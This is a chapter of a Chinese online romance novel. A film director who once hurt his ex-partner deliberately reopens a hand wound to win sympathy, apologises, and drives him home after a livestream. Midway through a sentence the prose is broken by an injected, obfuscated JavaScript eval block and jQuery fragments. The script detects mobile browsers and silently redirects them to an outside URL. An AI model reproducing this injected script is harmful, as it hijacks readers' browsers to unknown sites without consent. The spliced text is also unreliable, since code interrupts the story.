14.反将一军
作品:《骗他心疼(快穿)》 在此之前,方兰尽从没有考虑过要去修复自己的脸。
先前有杂质采访提及关于修复手术的问题,他也只是简短地否认,言说自己已经正式转向幕后,脸好不好看并不妨碍他的工作。
对方兰尽而言,这道疤痕就像是将计曜曾说过的话刻在了他脸上,每次从镜中见到时都足够让他记起那句简单而深刻的“分手理由”。很痛苦、很可笑,但他并不愿意遗忘。
计曜能够猜测到些许他的心态和选择,所以此时听他主动提起这件事才会不由显露出惊讶。
方兰尽迎上他的目光,并不为自己此刻的转变做解释,继续温声道:“只是就算去修复,大概也不能完全变回以前的样子,要要会介意吗?”
计曜与他相视片刻,睫毛轻轻颤了一瞬,而后垂下,拿着无菌敷贴一把贴到他手上,“用不着,又不是你变好看了我们就能回到从前。”
方兰尽倏而无话可说地黯然下来,是,他对计曜造成的伤害太过深重,远不是单纯讨几次好就能被原谅的,他也并没有资格要求计曜对他的接近与示好做出回应。他唯一能做的,只有不断地、不断地展示真心。
计曜把医药箱放回远处,绕过面前的人往外走。
方兰尽惊觉他们独处的时间太短,错过今天下次又要等到什么时候?他狠狠按压手上的伤口,白色敷贴瞬间被血洇红。
计曜忽而听到背后传来忍痛的嘶声,转过头就见刚贴上的无菌敷贴在短短几秒间就被泡出了大片的红色。
方兰尽伸手询问:“可以重新处理一下吗?”
“......”计曜面色不愉地瞪着他,倏然克制地压低声音怒道:“你有完没完?!”
“你当我傻吗?手上的伤口是自己扎的,这次的直播活动也是你促成的,你把我骗过来除了演苦肉计给我看还想干什么?!一次也就算了,一而再再而三地弄伤自己是什么意思?赌我会心软吗?要挟我吗?!”
计曜越说越气,尾音却颤得仿若摇摇欲坠的水滴。
方兰尽感知到他气愤表面下的难过和委屈,立时放轻语气上前,“不是要挟......”
计曜转身欲走,下一瞬却被对方轻易握住手臂,他挣扎着把箍住自己的手指掰开,又去推眼前靠近的胸口。然而他使大劲推了一把,方兰尽纹丝不动,自己倒是站不稳地往后踉跄。
方兰尽眼疾手快地揽住他有些摇晃的身形,再也不肯放松地顺势将人抱紧,狠狠压进怀里。
“干什么!”计曜的脸被迫埋在他肩头,声音再凶听上去也是闷闷的。
“对不起,是我不好。”方兰尽率先道歉,他俯身垂头几乎要把自己整个脑袋塞进计曜温热的颈窝,熟悉的、带着柔柔香味的气息时隔两年再度扑进鼻腔,他难以自控地深深吸气,贪婪地想汲取更多。
“并不是要挟你,是我已经没有办法了。”他紧抱着怀中人,慢慢地解释剖白,“要要删了我的好友,不接我的电话,不回我的短信,也不愿意见我。我更进不去你家,找不到你。如果不借着公事把要要骗出来,我不知道什么时候还能再见到你。”
计曜不知不觉停下推搡他的动作,默默抿唇。
“我也不是故意弄伤自己演戏,是因为......”方兰尽的音色逐渐嘶哑,目色深沉,环抱住他的手臂收得更紧,“你在和蒋固惟聊天,聊得很高兴,但是要要都不肯和我说话,我只是想讨到要要的一点在意而已。”
“要要,我每天都想见你,我没有其他办法了。”
计曜垂下眼,不自觉地将额头倚靠在他肩上,无话可说地陷入沉默。对方的怀抱有力而温暖,身处其中,会让人生出一种可以全心依赖的错觉。
拥抱的时间大抵有些久,外面传来冉时棉的询问声:“处理好了吗?很严重?”
计曜蓦然抬头,手忙脚乱地把方兰尽扒拉开,扬声回:“马上好了。”又让方兰尽把被血浸湿的敷贴撕下来。
明明眼前人面带烦闷不耐,方兰尽却总觉得他有些许软化。在贴上了新的敷贴后,他试探着靠近问:“等直播结束,我送要要回家?”
计曜斜他一眼,“你还是先去医院吧,被生螃蟹划出这么长的伤口好像得去医院看看。”
方兰尽应声,“我先送你回家,再去医院。”
计曜顿时又不高兴起来,哼声道:“还说不是要挟。”他甩开方兰尽,自己先气呼呼地出了洗手间。
蒋固惟看他出来,关心地问了下情况。
计曜尚且心气不顺,下意识一摆手,“他好得很。”
厨房内外的众人皆露出怔愣的表情,冉时棉隐晦地向他使了个眼色。计曜反应过来自己的情绪不对,赶紧调整好状态补充:“没事了,方导说他等直播结束会再去医院看看。”
方兰尽此时从洗手间跟上来,颔首道:“恩,伤口比较浅,我也会再去医院看的,不用担心。”
他的态度是一贯的随和宽厚,众人没再多问,继续分工准备晚饭。
“方导,你的手不方便,这些螃蟹要不全都清蒸吃吧。”蒋固惟已经把三只螃蟹都放进蒸锅,正拿起余下的几只也要往锅里放。
方兰尽上前制止,“没关系,伤口在左手,影响不大。”他抽出悬挂在墙上的砧板,拿刀熟练地剔除螃蟹中不可食用的部位,再切块。
计曜坐回吧台边,拿手里的菜当做某个惹他不痛快的人,摘菜的动作都多了几分气势。偶然抬头间撞上斜对面冉时棉的目光,两人又调动眼神对话起来。
冉时棉:“?”发生什么了?
计曜:“。”一时半会说不清。
无人在意的大屏幕上,弹幕疯狂刷新。
「这气氛是不是有点怪异啊」
「怎么感觉曜曜有点生气,为什么」
「方导和计曜绝对背地里认识吧」
「......这是电影的宣传直播啊朋友们!!」
好在备菜途中的意外只是个插曲,六人的聊天话题很快重回正轨,说起许多电影拍摄时的有趣小事。饭菜做好后,众
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250623|197694||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人在桌边举杯感谢观众支持,杯中盛满吴导制作的花生核桃露。
待到直播结束,工作人员收拾屋内各种机器道具,其余人纷纷向冉时棉道别。
计曜知道她半夜还得赶飞机回剧组,也就没有多留,跟她约好下次回来再拉上郑昙一起吃饭。
五人共同乘坐电梯到地下车库,道完别后分开去找各自的车,临别前蒋固惟还特意问了计曜,需不需要送他一程。
计曜明白他是好意,笑了笑举起手机道:“不用,我已经叫司机过来了,你们先走吧。”
“好,那方导、吴导,我们先走了。”
兄妹俩渐渐走远,吴导也在和方兰尽说过两句话后朝另个方向离开。方兰尽垂目望向计曜,稍稍俯身,“要要叫司机了吗?”
实则并没叫的计曜:“......”他瞟一眼对面的人,仿佛浑不在意地撇嘴:“我现在叫也行。”
说着就解锁手机打开通讯录。
“不要。”方兰尽按住他手腕,因他的嘴硬心软而感到些许庆幸和怀念,“我送你回家。”
计曜拍开他的手,嘟囔着催促,“赶紧。”
方兰尽带计曜往他停车的地方走,路上忍不住道:“要要可以把我加回好友吗?我想能偶尔联系到你。”
计曜半点不信他的话,哼哼两声还嘴:“你不是天天发短信吗?还‘偶尔’呢。”
方兰尽张了张口,身形忽而顿住一瞬,唇边不由极浅极浅地勾出抹笑痕,“要要收到了。”
计曜后知后觉地意识到自己说漏嘴,半是恼怒半是羞愤地不肯直接承认,无理也强硬地道:“你管我。”
“不敢管你。”方兰尽越发凑近他半步,走动间手背与手背挨挨蹭蹭地时不时碰到,“只是求你,能不能偶尔回复我一句,一个字也可以。”
手背上传来对方皮肤的触感和温度,有些凉、有些痒,计曜心底倏而冒出股柔软的情绪来,不由轻声道:“看我心情吧。”
方兰尽温声应答:“好。”
车子平稳地驶到别墅区外,再度被尽职尽责的保安拦下。方兰尽转头看向计曜,却并没有让他下车的意思,“今天大概不会遇到计询,还是不能让我送你进去吗?”
计曜正在犹豫,看现在的天色,计询应该已经下班回到家了。虽说家里有雇来工作的家政人员,但打电话给家里叫人出来接的话十有八九还是计询来接他,到时候又让他看到是方兰尽送自己回来。
老哥现在不大喜欢方兰尽,还是尽量别见面的好。而且自己和方兰尽的关系似乎也有了缓和,都答应回复短信了,再执意把他拦在这外面仿佛也没多大意义。
计曜思来想去,最后还是选择稍微松口,“那......行吧。”他叫来保安,核对过业主身份后把这辆车加进了允许通行的白名单。
方兰尽终于如愿把人送到别墅花园门口,探手帮他解开安全带,快而轻地捏了下他指尖,“下次见。”
计曜眉目微动,没有回应、也没有反驳这句话。

